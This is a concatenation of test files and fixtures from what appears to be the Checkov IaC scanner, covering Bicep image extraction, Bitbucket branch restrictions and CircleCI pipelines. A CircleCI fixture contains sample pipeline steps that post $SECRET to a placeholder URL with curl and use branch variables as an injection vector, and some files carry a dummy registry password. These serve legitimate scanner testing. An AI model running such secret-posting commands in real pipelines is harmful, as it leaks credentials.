"registryServer": "myContainerRegistry.azurecr.io", "username": "myUserName", }, "type": "DockerCompatible", }, } }, "resource_type": "Microsoft.Batch/batchAccounts/pools", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): azure_provider = AzureTerraformProvider(graph_connector=graph) images = azure_provider.extract_images_from_resources() # then assert not images ================================================ FILE: tests/bicep/image_referencer/resources/azure/batch.bicep ================================================ resource pool 'Microsoft.Batch/batchAccounts/pools@2022-06-01' = { name: 'example' properties: { scaleSettings: { fixedScale: { targetDedicatedNodes: 1 } } virtualMachineConfiguration: { containerConfiguration: { containerImageNames: [ 'centos7' ] containerRegistries: [ { // checkov:skip=CKV_SECRET_6 test secret password: 'myPassword' registryServer: 'myContainerRegistry.azurecr.io' username: 'myUserName' } ] type: 'DockerCompatible' } } } } ================================================ FILE: tests/bicep/image_referencer/resources/azure/container_instance.bicep ================================================ resource containerGroup 'Microsoft.ContainerInstance/containerGroups@2021-10-01' = { name: 'example' properties: { initContainers: [ { name: 'init' properties: { image: 'busybox' } } ] containers: [ { name: 'reader' properties: { image: 'ubuntu:20.04' resources: { requests: { cpu: 1 memoryInGB: 2 } } } } ] osType: 'Linux' } } ================================================ FILE: tests/bicep/image_referencer/resources/azure/web.bicep ================================================ resource webContainerApp 'Microsoft.Web/containerApps@2021-03-01' = { name: 'example' properties: { kubeEnvironmentId: containerAppEnv.id configuration: { ingress: { external: true targetport: targetPort allowInsecure: false traffic: [ { latestRevision: true weight: 100 } ] } } template: { revisionSuffix: 'firstrevision' containers: [ { name: proxy image: nginx resources: { cpu: cpuCore memory: '${memorySize}Gi' } } ] scale: { minReplica: minReplica maxReplica: maxReplica } } } } resource appContainerApp 'Microsoft.App/containerApps@2022-03-01' = { name: 'example' properties: { kubeEnvironmentId: containerAppEnv.id configuration: { ingress: { external: true targetport: targetPort allowInsecure: false traffic: [ { latestRevision: true weight: 100 } ] } } template: { revisionSuffix: 'firstrevision' containers: [ { name: app image: 'python:3.9' resources: { cpu: cpuCore memory: '${memorySize}Gi' } } ] scale: { minReplica: minReplica maxReplica: maxReplica } } } } ================================================ FILE: tests/bicep/image_referencer/test_manager.py ================================================ from unittest import mock import pytest from checkov.bicep.image_referencer.manager import BicepImageReferencerManager from checkov.common.images.image_referencer import Image from tests.graph_utils.utils import GRAPH_FRAMEWORKS, set_graph_by_graph_framework, \ add_vertices_to_graph_by_graph_framework @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_extract_images_from_resources(graph_framework): # given resource = { "file_path_": "/batch.bicep", "__end_line__": 26, "__start_line__": 1, "properties": { "virtualMachineConfiguration": { "containerConfiguration": { "containerImageNames": ["python:3.9-alpine"], "containerRegistries": { "password": "myPassword", # checkov:skip=CKV_SECRET_6 test secret "registryServer": "myContainerRegistry.azurecr.io", "username": "myUserName", }, "type": "DockerCompatible", }, } }, "resource_type": "Microsoft.Batch/batchAccounts/pools", } graph = set_graph_by_graph_framework(graph_framework) add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): images = BicepImageReferencerManager(graph_connector=graph).extract_images_from_resources() # then assert images == [ Image( file_path="/batch.bicep", name="python:3.9-alpine", start_line=1, end_line=26, related_resource_id="/batch.bicep:None", ), ] ================================================ FILE: tests/bicep/image_referencer/test_runner_azure_resources.py ================================================ from pathlib import Path from unittest import mock import pytest from pytest_mock import MockerFixture from checkov.common.bridgecrew.bc_source import get_source_type from checkov.common.output.report import CheckType from checkov.runner_filter import RunnerFilter from checkov.bicep.runner import Runner from tests.common.image_referencer.test_utils import ( mock_get_empty_license_statuses_async, mock_get_license_statuses_async, mock_get_image_cached_result_async, ) from tests.graph_utils.utils import GRAPH_FRAMEWORKS RESOURCES_PATH = Path(__file__).parent / "resources/azure" @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_batch_resources(mocker: MockerFixture, graph_framework): # given from checkov.common.bridgecrew.platform_integration import bc_integration bc_integration.bc_source = get_source_type("disabled") file_name = "batch.bicep" image_name = "centos7" code_lines = "1-27" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 bicep_report = next(report for report in reports if report.check_type == CheckType.BICEP) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(bicep_report.resources) == 0 assert len(bicep_report.passed_checks) == 0 assert len(bicep_report.failed_checks) == 0 assert len(bicep_report.skipped_checks) == 0 assert len(bicep_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 3 assert sca_image_report.resources == { f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl", f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl", f"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 1 assert len(sca_image_report.failed_checks) == 4 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 assert len(sca_image_report.image_cached_results) == 1 assert sca_image_report.image_cached_results[0]["dockerImageName"] == "centos7" assert sca_image_report.image_cached_results[0]["relatedResourceId"].endswith( "bicep/image_referencer/resources/azure/batch.bicep:Microsoft.Batch/batchAccounts/pools.pool" ) assert sca_image_report.image_cached_results[0]["packages"] == [ {"type": "os", "name": "tzdata", "version": "2021a-1+deb11u5", "licenses": []} ] @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_container_instance_resources(mocker: MockerFixture, graph_framework): # given file_name = "container_instance.bicep" image_name_1 = "busybox" image_name_2 = "ubuntu:20.04" code_lines_1 = "1-29" code_lines_2 = "1-29" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 bicep_report = next(report for report in reports if report.check_type == CheckType.BICEP) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(bicep_report.resources) == 0 assert len(bicep_report.passed_checks) == 0 assert len(bicep_report.failed_checks) == 0 assert len(bicep_report.skipped_checks) == 0 assert len(bicep_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 2 assert sca_image_report.resources == { f"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go", f"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 6 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_web_resources(mocker: MockerFixture, graph_framework): # given file_name = "web.bicep" image_name_1 = "nginx" image_name_2 = "python:3.9" code_lines_1 = "1-37" code_lines_2 = "39-75" test_file = RESOURCES_PATH / file_name runner_filter = RunnerFilter(run_image_referencer=True) mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): reports = Runner().run(root_folder="", files=[str(test_file)], runner_filter=runner_filter) # then assert len(reports) == 2 bicep_report = next(report for report in reports if report.check_type == CheckType.BICEP) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(bicep_report.resources) == 0 assert len(bicep_report.passed_checks) == 0 assert len(bicep_report.failed_checks) == 0 assert len(bicep_report.skipped_checks) == 0 assert len(bicep_report.parsing_errors) == 0 assert len(sca_image_report.resources) == 2 assert sca_image_report.resources == { f"{file_name} ({image_name_1} lines:{code_lines_1} (sha256:2460522297)).go", f"{file_name} ({image_name_2} lines:{code_lines_2} (sha256:2460522297)).go", } assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 6 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 ================================================ FILE: tests/bicep/test_graph_manager.py ================================================ from pathlib import Path from checkov.bicep.graph_manager import BicepGraphManager from checkov.bicep.parser import Parser from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.graph_builder.graph_components.block_types import BlockType EXAMPLES_DIR = Path(__file__).parent / "examples" def test_build_graph_from_source_directory(): # given existing_file = EXAMPLES_DIR / "existing.bicep" playground_file = EXAMPLES_DIR / "playground.bicep" graph_file = EXAMPLES_DIR / "graph.bicep" loop_file = EXAMPLES_DIR / "loop.bicep" graph_manager = BicepGraphManager(db_connector=NetworkxConnector()) # when local_graph, definitions = graph_manager.build_graph_from_source_directory(source_dir=str(EXAMPLES_DIR)) # then assert set(definitions.keys()) == {existing_file, playground_file, graph_file, loop_file} # should not include 'malformed.bicep' file assert len(local_graph.vertices) == 48 assert len(local_graph.edges) == 47 storage_account_idx = local_graph.vertices_by_name["diagsAccount"] # vertices_by_name exists for BicepGraphManager storage_account = local_graph.vertices[storage_account_idx] assert storage_account.block_type == BlockType.RESOURCE assert storage_account.id == "Microsoft.Storage/storageAccounts.diagsAccount" assert storage_account.source == "Bicep" assert storage_account.config == { "decorators": [], "type": "Microsoft.Storage/storageAccounts", "api_version": "2019-06-01", "existing": False, "config": { "name": "diags${uniqueString(resourceGroup().id)}", "location": { "function": { "type": "resource_group", "parameters": {"resource_group_name": None, "subscription_id": None}, "property_name": "location", } }, "sku": {"name": "Standard_LRS"}, "kind": "StorageV2", }, "__start_line__": 84, "__end_line__": 92, } def test_build_graph_from_definitions(): # given test_file = EXAMPLES_DIR / "playground.bicep" graph_manager = BicepGraphManager(db_connector=NetworkxConnector()) template, _ = Parser().parse(test_file) # when local_graph = graph_manager.build_graph_from_definitions(definitions={test_file: template}) # then assert len(local_graph.vertices) == 24 assert len(local_graph.edges) == 33 storage_account_idx = local_graph.vertices_by_name["diagsAccount"] # vertices_by_name exists for BicepGraphManager storage_account = local_graph.vertices[storage_account_idx] assert storage_account.block_type == BlockType.RESOURCE assert storage_account.id == "Microsoft.Storage/storageAccounts.diagsAccount" assert storage_account.source == "Bicep" assert storage_account.config == { "decorators": [], "type": "Microsoft.Storage/storageAccounts", "api_version": "2019-06-01", "existing": False, "config": { "name": "diags${uniqueString(resourceGroup().id)}", "location": { "function": { "type": "resource_group", "parameters": {"resource_group_name": None, "subscription_id": None}, "property_name": "location", } }, "sku": {"name": "Standard_LRS"}, "kind": "StorageV2", }, "__start_line__": 84, "__end_line__": 92, } ================================================ FILE: tests/bicep/test_parser.py ================================================ from pathlib import Path from checkov.bicep.parser import Parser EXAMPLES_DIR = Path(__file__).parent / "examples" def test_parse(): # given test_file = EXAMPLES_DIR / "playground.bicep" # when template, file_lines = Parser().parse(test_file) # then assert template is not None assert file_lines is not None assert len(template["parameters"]) == 5 assert len(template["variables"]) == 10 assert len(template["resources"]) == 8 assert len(file_lines) == 204 def test_parse_malformed_file(): # given test_file = EXAMPLES_DIR / "malformed.bicep" # when template, file_lines = Parser().parse(test_file) # then assert template is None assert file_lines is None ================================================ FILE: tests/bicep/test_runner.py ================================================ from pathlib import Path import pytest from checkov.bicep.runner import Runner from checkov.arm.runner import Runner as ArmRunner from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector from checkov.runner_filter import RunnerFilter from checkov.bicep.checks.resource.registry import registry as resource_registry from checkov.bicep.checks.param.registry import registry as param_registry EXAMPLES_DIR = Path(__file__).parent / "examples" @pytest.fixture(autouse=True) def load_arm_checks(): # just initialize to add the ARM checks to the Bicep registry ArmRunner() def test_registry_has_type(): assert resource_registry.report_type == CheckType.BICEP assert param_registry.report_type == CheckType.BICEP def test_arm_checks_laoded(): # when resource_registry = Runner.block_type_registries["resources"] # then assert len(resource_registry.checks) > 30 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector ] ) def test_runner_passing_check(graph_connector): # given test_file = EXAMPLES_DIR / "playground.bicep" # when report = Runner(db_connector=graph_connector()).run(root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AZURE_3"])) # then summary = report.get_summary() assert summary["passed"] == 1 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector ] ) def test_runner_failing_check(graph_connector): # given test_file = EXAMPLES_DIR / "playground.bicep" # when report = Runner(db_connector=graph_connector()).run(root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AZURE_9"])) # then summary = report.get_summary() assert summary["passed"] == 1 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector ] ) def test_runner_skipping_check(graph_connector): # given test_file = EXAMPLES_DIR / "playground.bicep" # when report = Runner(db_connector=graph_connector()).run(root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AZURE_35"])) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 1 assert summary["parsing_errors"] == 0 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector ] ) def test_runner_honors_enforcement_rules(graph_connector): # given test_files = list(map(lambda f: str(f), [EXAMPLES_DIR / "playground.bicep", EXAMPLES_DIR / "graph.bicep"])) # when filter = RunnerFilter(framework=['bicep'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.BICEP: Severities[BcSeverities.OFF]} report = Runner(db_connector=graph_connector()).run(root_folder="", files=test_files, runner_filter=filter) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector ] ) def test_runner_parsing_errors(graph_connector): # given test_file = EXAMPLES_DIR / "malformed.bicep" # when report = Runner(db_connector=graph_connector()).run(root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AZURE_35"])) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 1 @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector ] ) def test_runner_ignore_existing_resource(graph_connector): # given test_file = EXAMPLES_DIR / "existing.bicep" # when report = Runner(db_connector=graph_connector()).run(root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AZURE_35"])) # then summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 1 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert summary["resource_count"] == 2 # 1 should be unknown assert report.failed_checks[0].resource == "Microsoft.Storage/storageAccounts.storageAccount" @pytest.mark.parametrize( "graph_connector", [ NetworkxConnector, RustworkxConnector ] ) def test_runner_extra_resources(graph_connector): # given test_file = EXAMPLES_DIR / "playground.bicep" # when report = Runner(db_connector=graph_connector()).run(root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AZURE_3"])) # then summary = report.get_summary() assert summary["passed"] == 1 assert len(report.extra_resources) == 7 extra_resource = next( resource for resource in report.extra_resources if resource.resource == "Microsoft.Compute/virtualMachines.vm" ) assert extra_resource.file_abs_path == str(test_file) assert extra_resource.file_path.endswith("playground.bicep") def test_runner_loop_resource(): # given test_file = EXAMPLES_DIR / "loop.bicep" # when report = Runner().run(root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV_AZURE_2"])) # then summary = report.get_summary() assert summary["passed"] == 1 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 ================================================ FILE: tests/bicep/test_utils.py ================================================ from pathlib import Path from checkov.bicep.utils import get_scannable_file_paths def test_get_scannable_file_paths(tmp_path: Path): # given (tmp_path / "storage.json").touch() (tmp_path / "storage.bicep").touch() (tmp_path / ".bicep").mkdir() (tmp_path / ".bicep/main.bicep").touch() # when file_paths = get_scannable_file_paths(root_folder=tmp_path) # then assert file_paths == { tmp_path / "storage.bicep", tmp_path / ".bicep/main.bicep", } ================================================ FILE: tests/bitbucket/__init__.py ================================================ ================================================ FILE: tests/bitbucket/resources/bitbucket_conf/fail/branch_restrictions.json ================================================ { "pagelen": 10, "values": [ { "kind": "require_default_reviewer_approvals_to_merge", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110" } }, "pattern": "master", "value": 1, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26522110 }, { "kind": "require_approvals_to_merge", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791" } }, "pattern": "master", "value": 1, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26520791 }, { "kind": "force", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790" } }, "pattern": "master", "value": null, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26520790 }, { "kind": "delete", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789" } }, "pattern": "master", "value": null, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26520789 } ], "page": 1, "size": 4 } ================================================ FILE: tests/bitbucket/resources/bitbucket_conf/pass/branch_restrictions.json ================================================ { "pagelen": 10, "values": [ { "kind": "require_default_reviewer_approvals_to_merge", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110" } }, "pattern": "master", "value": 1, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26522110 }, { "kind": "require_approvals_to_merge", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791" } }, "pattern": "master", "value": 3, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26520791 }, { "kind": "force", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790" } }, "pattern": "master", "value": null, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26520790 }, { "kind": "delete", "users": [], "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789" } }, "pattern": "master", "value": null, "branch_match_kind": "glob", "groups": [], "type": "branchrestriction", "id": 26520789 } ], "page": 1, "size": 4 } ================================================ FILE: tests/bitbucket/test_runner.py ================================================ import os import unittest from pathlib import Path from unittest import mock from checkov.bitbucket.runner import Runner from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.runner_filter import RunnerFilter from checkov.bitbucket.registry import registry class TestRunnerValid(unittest.TestCase): def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.BITBUCKET_CONFIGURATION) @mock.patch.dict(os.environ, {"CKV_BITBUCKET_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1", "BITBUCKET_REPO_FULL_NAME": "shaharsamira/terragoat2"}, clear=True) def test_runner_object_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "bitbucket_conf", "fail") runner = Runner() runner.bitbucket.bitbucket_conf_dir_path = valid_dir_path checks = ["CKV_BITBUCKET_1"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(report.skipped_checks, []) def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "bitbucket_conf", "fail") runner = Runner() filter = RunnerFilter(framework=['bitbucket_configuration'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.BITBUCKET_CONFIGURATION: Severities[BcSeverities.OFF]} runner.bitbucket.bitbucket_conf_dir_path = valid_dir_path report = runner.run( root_folder=valid_dir_path, runner_filter=filter ) summary = report.get_summary() assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 @mock.patch.dict(os.environ, {"CKV_BITBUCKET_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_object_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "bitbucket_conf", "pass") runner = Runner() runner.bitbucket.bitbucket_conf_dir_path = valid_dir_path checks = ["CKV_BITBUCKET_1"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 1) self.assertEqual(report.skipped_checks, []) @mock.patch.dict(os.environ, {"CKV_BITBUCKET_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_files_ignore(self): # given test_file = Path(__file__).parent / "resources/bitbucket_conf/pass/branch_restrictions.json" checks = ["CKV_BITBUCKET_1"] # when report = Runner().run( files=[str(test_file)], runner_filter=RunnerFilter(checks=checks) ) # then # even it points to a file with scannable content, it should skip it self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.parsing_errors), 0) self.assertEqual(len(report.skipped_checks), 0) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/bitbucket_pipelines/__init__.py ================================================ ================================================ FILE: tests/bitbucket_pipelines/resources/bitbucket-pipelines.yml ================================================ image: node:10.15.0 pipelines: default: - step: name: Build and test image: node:10.0.0 script: - npm install - npm test - npm run build artifacts: - dist/** - step: name: Deploy image: python:3.7.2 trigger: manual script: - python deploy.py custom: sonar: - step: image: python:latest script: - echo "Manual triggers for Sonar are awesome!" deployment-to-prod: - step: script: - echo "Manual triggers for deployments are awesome!" branches: staging: - step: script: - echo "Auto pipelines are cool too." ================================================ FILE: tests/bitbucket_pipelines/test_runner.py ================================================ import os import unittest from checkov.bitbucket_pipelines.runner import Runner from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.runner_filter import RunnerFilter from checkov.bitbucket_pipelines.registry import registry class TestRunnerValid(unittest.TestCase): def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.BITBUCKET_PIPELINES) def test_runner(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources") runner = Runner() checks = ["CKV_BITBUCKETPIPELINES_1"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['bitbucket_pipelines'], checks=checks) ) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 3) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources") runner = Runner() filter = RunnerFilter(framework=['bitbucket_pipelines'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.BITBUCKET_PIPELINES: Severities[BcSeverities.OFF]} report = runner.run( root_folder=valid_dir_path, runner_filter=filter ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.parsing_errors), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) report.print_console() if __name__ == "__main__": unittest.main() ================================================ FILE: tests/circleci_pipelines/__init__.py ================================================ ================================================ FILE: tests/circleci_pipelines/conftest.py ================================================ from __future__ import annotations import pytest from checkov.common.images.image_referencer import Image @pytest.fixture def file_path() -> str: return ".circleci/config.yml" @pytest.fixture def definition(file_path) -> dict: return { file_path: { "orbs": { "new-orb": "whatever/orbname@goodorb", "some-orb": "orbs/orbname@dev:blah", "__startline__": 3, "__endline__": 6 }, "executors": { "image-executor": { "docker": [ { "image": "mongo:2.6.8", "__startline__": 9, "__endline__": 11 } ], "__startline__": 8, "__endline__": 11 }, "__startline__": 7, "__endline__": 11 }, "jobs": { "test-docker-hash-img": { "docker": [ { "image": "redis@sha256:54057dd7e125ca41afe526a877e8bd35ec2cdd33b9217e022ed37bdcf7d09673", "__startline__": 15, "__endline__": 16 }, { "auth": { "password": "$DOCKERHUB_PASSWORD", "username": "mydockerhub-user", "__startline__": 18, "__endline__": 20 }, "__startline__": 17, "__endline__": 20 } ], "__startline__": 13, "__endline__": 20 }, "test-docker-latest-img": { "docker": [ { "image": "buildpack-deps:latest", "__startline__": 23, "__endline__": 24 }, { "auth": { "password": "$DOCKERHUB_PASSWORD", "username": "mydockerhub-user", "__startline__": 26, "__endline__": 28 }, "command": [ "--smallfiles" ], "__startline__": 25, "__endline__": 30 } ], "__startline__": 21, "__endline__": 30 }, "test-docker-versioned-img": { "docker": [ { "image": "mongo:2.6.8", "__startline__": 33, "__endline__": 34 }, { "auth": { "password": "$DOCKERHUB_PASSWORD", "username": "mydockerhub-user", "__startline__": 36, "__endline__": 38 }, "environment": { "POSTGRES_USER": "user", "__startline__": 39, "__endline__": 40 }, "image": "postgres:14.2", "__startline__": 35, "__endline__": 41 } ], "__startline__": 31, "__endline__": 41 }, "test-echo": { "docker": [ { "image": "cimg/python:latest", "__startline__": 44, "__endline__": 45 } ], "steps": [ "checkout", { "run": "echo \"this is an echo in a script.\"", "__startline__": 48, "__endline__": 49 } ], "__startline__": 42, "__endline__": 49 }, "test-inject": { "docker": [ { "image": "cimg/python:latest", "__startline__": 52, "__endline__": 53 } ], "steps": [ "checkout", { "run": { "command": "curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add -\necho ${CIRCLE_BRANCH}\n", "name": "Multi-line run with injection via vars", "__startline__": 56, "__endline__": 60 }, "__startline__": 55, "__endline__": 60 } ], "__startline__": 50, "__endline__": 60 }, "test-inject2": { "docker": [ { "image": "cimg/python:latest", "__startline__": 63, "__endline__": 64 } ], "steps": [ "checkout", { "run": { "command": "curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add -\necho $CIRCLE_BRANCH\n", "name": "Multi-line run with injection via vars", "__startline__": 68, "__endline__": 72 }, "__startline__": 67, "__endline__": 72 } ], "__startline__": 61, "__endline__": 72 }, "test-curl-secret": { "docker": [ { "image": "cimg/python:latest", "__startline__": 75, "__endline__": 76 } ], "steps": [ "checkout", { "run": { "command": "curl -x POST someurl $SECRET\n", "name": "Multi-line export secret", "__startline__": 79, "__endline__": 82 }, "__startline__": 78, "__endline__": 82 } ], "__startline__": 73, "__endline__": 82 }, "test-inject-ci-vars": { "docker": [ { "image": "cimg/python:latest", "__startline__": 85, "__endline__": 86 } ], "steps": [ "checkout", { "run": { "command": "echo ${CIRCLE_PR_REPONAME}\n", "name": "Echo the PR Reponame", "__startline__": 90, "__endline__": 94 }, "__startline__": 89, "__endline__": 94 } ], "__startline__": 83, "__endline__": 94 }, "__startline__": 12, "__endline__": 94 }, "version": 2.1, "workflows": { "say-hello-workflow": { "jobs": [ "test-docker-hash-img", "test-docker-latest-img", "test-docker-versioned-img", "test-echo", "test-inject", "test-inject2", "test-inject-ci-vars" ], "__startline__": 97, "__endline__": 105 }, "__startline__": 96, "__endline__": 105 }, "__startline__": 2, "__endline__": 105 } } ================================================ FILE: tests/circleci_pipelines/resources/.circleci/config.yml ================================================ --- orbs: new-orb: "whatever/orbname@goodorb" some-orb: "orbs/orbname@dev:blah" executors: image-executor: docker: - "image": "mongo:2.6.8" jobs: test-job-single-line: say-hello-workflow/script test-job-list-line: - checkout test-docker-hash-img: docker: - image: "redis@sha256:54057dd7e125ca41afe526a877e8bd35ec2cdd33b9217e022ed37bdcf7d09673" - auth: password: $DOCKERHUB_PASSWORD username: mydockerhub-user test-docker-latest-img: docker: - image: "buildpack-deps:latest" - auth: password: $DOCKERHUB_PASSWORD username: mydockerhub-user command: - "--smallfiles" test-docker-versioned-img: docker: - image: "mongo:2.6.8" - auth: password: $DOCKERHUB_PASSWORD username: mydockerhub-user 